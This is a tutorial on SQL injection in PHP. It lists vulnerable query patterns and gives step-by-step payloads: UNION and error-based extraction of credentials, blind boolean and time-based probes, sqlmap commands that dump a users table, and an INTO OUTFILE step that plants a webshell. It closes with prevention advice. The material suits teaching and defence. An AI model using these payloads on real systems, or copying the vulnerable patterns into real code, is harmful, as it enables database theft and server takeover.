SQL Injection in PHP

SQL Injection in PHP Applications

What is SQL Injection?

SQL Injection (SQLi) occurs when user-supplied data is incorporated into a SQL query without proper sanitization, allowing an attacker to manipulate the query's logic. In PHP, this most commonly happens when variables from $_GET, $_POST, or $_COOKIE are concatenated directly into query strings.

Vulnerable Patterns in PHP

// Pattern 1: Classic string concatenation (mysql_* functions — deprecated)
$id = $_GET['id'];
$result = mysql_query("SELECT * FROM users WHERE id = " . $id);

// Pattern 2: sprintf injection
$query = sprintf("SELECT * FROM users WHERE name = '%s'", $_POST['name']);

// Pattern 3: PDO with emulated prepares OFF but still concatenated
$pdo->query("SELECT * FROM products WHERE id = " . $_GET['id']);

// Pattern 4: ORDER BY injection (can't use prepared statements here)
$col = $_GET['sort'];
$query = "SELECT * FROM items ORDER BY $col";

Types of SQL Injection

• In-band SQLi — Results returned directly in the HTTP response (UNION-based)
• Error-based SQLi — Database errors leak information (extractvalue(), updatexml())
• Blind Boolean-based SQLi — True/false responses reveal data bit by bit
• Time-based Blind SQLi — SLEEP() used to infer data when no output is visible
• Out-of-band SQLi — DNS/HTTP requests exfiltrate data (requires specific DB permissions)

Classic UNION-based Exploitation

-- Step 1: Find number of columns
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--   ← error = 2 columns

-- Step 2: Find printable columns
?id=-1 UNION SELECT 1,2--

-- Step 3: Extract data
?id=-1 UNION SELECT user(),database()--
?id=-1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--
?id=-1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
?id=-1 UNION SELECT username,password FROM users--

Error-based Extraction

-- MySQL extractvalue() — leaks data in error message
?id=1 AND extractvalue(1,concat(0x7e,(SELECT version())))--

-- MySQL updatexml()
?id=1 AND updatexml(1,concat(0x7e,(SELECT user())),1)--

Blind Boolean-based

-- Is first character of DB name 'a'?
?id=1 AND SUBSTRING(database(),1,1)='a'--   ← page loads = true

-- Automate with sqlmap
sqlmap -u "http://target.com/item.php?id=1" --dbs
sqlmap -u "http://target.com/item.php?id=1" -D dbname --tables
sqlmap -u "http://target.com/item.php?id=1" -D dbname -T users --dump

Time-based Blind SQLi

-- No output — use SLEEP to confirm injection
?id=1 AND SLEEP(5)--           ← 5 second delay = vulnerable

-- Extract data character by character
?id=1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)--

Second-Order SQLi

A particularly dangerous variant where the payload is stored safely (escaped) in the database on input, then retrieved and used unsafely in a subsequent query — bypassing first-layer sanitization entirely.

// Step 1: Register with username:  admin'--
// Step 2: PHP safely stores it (escaped): admin\'--
// Step 3: Later, PHP reads it back and uses it unescaped:
$user = fetch_from_db("admin'--");
$query = "SELECT * FROM profiles WHERE username = '$user'";
// → SELECT * FROM profiles WHERE username = 'admin'--'  INJECTION!

SQLi to RCE via INTO OUTFILE

-- Write a PHP webshell to web root (requires FILE privilege + writable directory)
?id=-1 UNION SELECT "" INTO OUTFILE '/var/www/html/shell.php'--

-- Access: http://target.com/shell.php?cmd=id

Prevention

// CORRECT — Always use prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND name = ?");
$stmt->execute([$id, $name]);

// For dynamic ORDER BY (can't parameterize column names):
$allowed_cols = ['id', 'name', 'email'];
$col = in_array($_GET['sort'], $allowed_cols) ? $_GET['sort'] : 'id';
$query = "SELECT * FROM items ORDER BY $col";